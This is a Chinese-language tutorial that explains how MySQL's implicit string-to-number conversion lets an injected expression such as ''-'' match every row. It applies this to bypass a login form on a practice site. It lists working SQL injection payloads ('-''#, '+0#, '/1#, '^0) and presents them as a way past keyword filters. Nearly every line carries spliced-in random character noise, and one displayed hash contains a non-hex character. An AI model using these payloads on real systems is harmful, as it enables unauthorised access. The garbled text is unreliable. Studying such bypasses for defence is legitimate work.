我们先来看这样一个场景。; N! ^, N1 s0 J, o4 w
有以下表结构:
$ H1 t- ^/ S: l' D
& V3 Y" V: {- S/ R. G3 i% umysql> desc admin; i4 G0 |' W5 S5 Y' j
+----------+--------------+------+-----+---------+----------------+
; I {# V' u3 Z* c6 P| Field | Type | Null | Key | Default | Extra |
8 J# F' l4 E; Q( D8 d% H7 P* T8 _1 P" @+----------+--------------+------+-----+---------+----------------+
/ ~& O; q2 M7 _6 k* L8 j# T' m4 A% y| id | mediumint(9) | NO | PRI | NULL | auto_increment |
6 c& j9 Y. W# w" m. d* P| name | char(32) | NO | UNI | NULL | |
* d* i) B* o) ]0 E| password | char(32) | NO | UNI | NULL | |9 O3 V% k8 {6 A4 \ R
+----------+--------------+------+-----+---------+----------------+
5 \* o7 s8 b' p$ p! k3 rows in set (0.00 sec)
$ B& g' T; _" J/ t: Y# j执行select * from admin;,成功返回所有记录内容。
, C9 d$ P& x. B' F: Y, W. C$ Z( _6 C
( x" X$ U! y7 i3 ?3 K+----+--------+----------------------------------+
* h0 N1 ^+ N j4 M( x& o; h. [| id | name | password |$ y6 E' i" |5 [" D7 v4 D( S: \
+----+--------+----------------------------------+
# g7 F/ ]4 Q' E/ O* Y+ Y7 `2 Z% m| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
, c" u' [3 a0 c( Q| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 [" ]- ^1 J# ^% g. n, W2 `6 ~
| 4 | n00b | ff80e8508d39047460921792273533a4 |/ S* T+ N* [; H
+----+--------+----------------------------------+
) R( l4 V3 X+ s$ X+ k7 d3 rows in set (0.00 sec)
/ ?; f, i* g% \; |# h执行select * from admin where name=”;,没有匹配到任何记录。 6 z/ G2 L* c) F R
* n* U1 v' E0 jmysql> select * from admin where name = '';
9 j' [5 J/ j a& KEmpty set (0.00 sec)( S" q: [. p) l( z
那么我们来执行select * from admin where name = ”-”;
! E# `/ ^; r# S6 I8 O
7 n$ b* w% k0 Y# `; @
( s# `9 s* b" p& z* a, ?/ |" P+----+--------+----------------------------------+
; D, B. m; e! y/ w| id | name | password |
& j2 G' k6 e- ]5 `' F+----+--------+----------------------------------+
. a6 g$ _% [& n# v| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |4 Y1 U$ T# n* E, w/ N
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |6 L2 P( x5 ~1 s* ~2 \2 j
| 4 | n00b | ff80e8508d39047460921792273533a4 |$ F% L3 Z L$ V+ n
+----+--------+----------------------------------+
% t8 a. S5 O& N# \; m8 C8 c) I3 rows in set, 3 warnings (0.00 sec)' |- r9 I% M) j
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: & f& o/ k! O7 o! _0 X. H
. D% _1 V. m5 a9 D. z! O" tmysql> show warnings;6 X5 M W1 [# Q' v* d( T
+---------+------+------------------------------------------6 ~" Q4 k$ F( @0 x0 s
| Level | Code | Message
0 W' I- B/ u! @+ K& M+---------+------+------------------------------------------- S: q- g9 Q7 I8 f- c8 u7 z" q5 {
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
! ~9 L5 V$ ]- E2 W| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s* M! `8 q3 }! Z1 p9 Y- \9 ?4 J' N" n
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
7 P! J9 z: x h) D+---------+------+------------------------------------------
- t% P3 ]* _- w3 B% f4 m/ q3 rows in set (0.00 sec), S+ a' @& N. V; a* h! _
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
0 K2 E( {. @6 ?4 U% i' B7 |, f) i+ d
mysql> select ''-'';7 ~7 ?6 Y; P: t2 o( T3 K" u% w
+-------+
' {" b2 c$ F/ {; m3 I| ''-'' |4 r7 C% u$ n& s: y) Q$ g
+-------+
! g, Q6 N1 r, ]$ o8 Y9 T& n# M| 0 |* e8 K5 s8 A5 B* p2 ^% K
+-------+* Q! w, a5 q1 L
1 row in set (0.00 sec)
' r9 M* \) G* c1 a返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
$ J/ j1 K& j }% B; K0 Z$ G
+ ?( \# @: `5 O* D4 o& S, `7 ^0 Nmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
# G# z1 O: Z" h, {& h: t+-----------------------------------------------------+
; b6 a- A( s2 f# k4 A9 X' q| CAST((select name from admin limit 1,1) as DECIMAL) |
7 d3 r( m! ?1 B0 x+-----------------------------------------------------+% C: G0 h; y( N! q
| 0 |
. K1 Q P$ s+ G4 o+-----------------------------------------------------+3 ^% w6 q2 m" T& t5 q7 ~9 T
1 row in set, 1 warning (0.00 sec)+ O3 k. x& Z% o. e
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 $ c3 M ]: t/ O! j7 E
& ?3 z7 [- d8 ?! `% h2 mSQL注入场景: http://www.sqlzoo.net/hack/ ! K2 A( ]5 L& u0 V x) i
2 O Q/ d$ Y. ^5 V5 ]
9 Q# h) H* H' C% h- Y4 T5 f) z1 M1 k r
) u" u$ F% \8 E* A. x% S* K: }9 c如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
1 E3 Y6 d3 g: ], ^; _
' a4 M: f4 O% q那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 S. X5 t1 y2 R
( b) u+ x6 m3 Z- E6 o) v, d
1 @$ K* N: n8 c" P3 f
8 I! B6 B( \9 ^- b+ Q, _
( n3 [. N: }9 H5 B+ c仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
; W( @$ a8 U& C+ P8 \2 a- T, w2 c: L3 p: j
) j% }6 Q( V& i' B3 g
. ~& c& Q5 w: G7 w. G& ]除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
& P! ~) [3 S4 k% I" e2 t
" R" x6 L" |8 l" X; ?1 [
( `* J* `: q/ ?! l& amysql> select ''/1;' y& J" t& g+ j8 X# Y
+------+
% ^- |' i+ t. a| ''/1 |
) ?% D" Y8 z; x# U4 V, d. H2 d+------+
: A" t% C* i. w/ u' y| 0 |: L9 k& W0 t$ M8 R
+------+
7 |4 H5 j6 S" [. b( Z1 row in set (0.00 sec)
7 {" b* i3 F) I% P1 f8 {6 ?类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 " v+ t7 F T5 o/ g% V
) N f1 P1 Z" n0 S* |利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。, S7 Z) j1 e) V) m8 E
|
|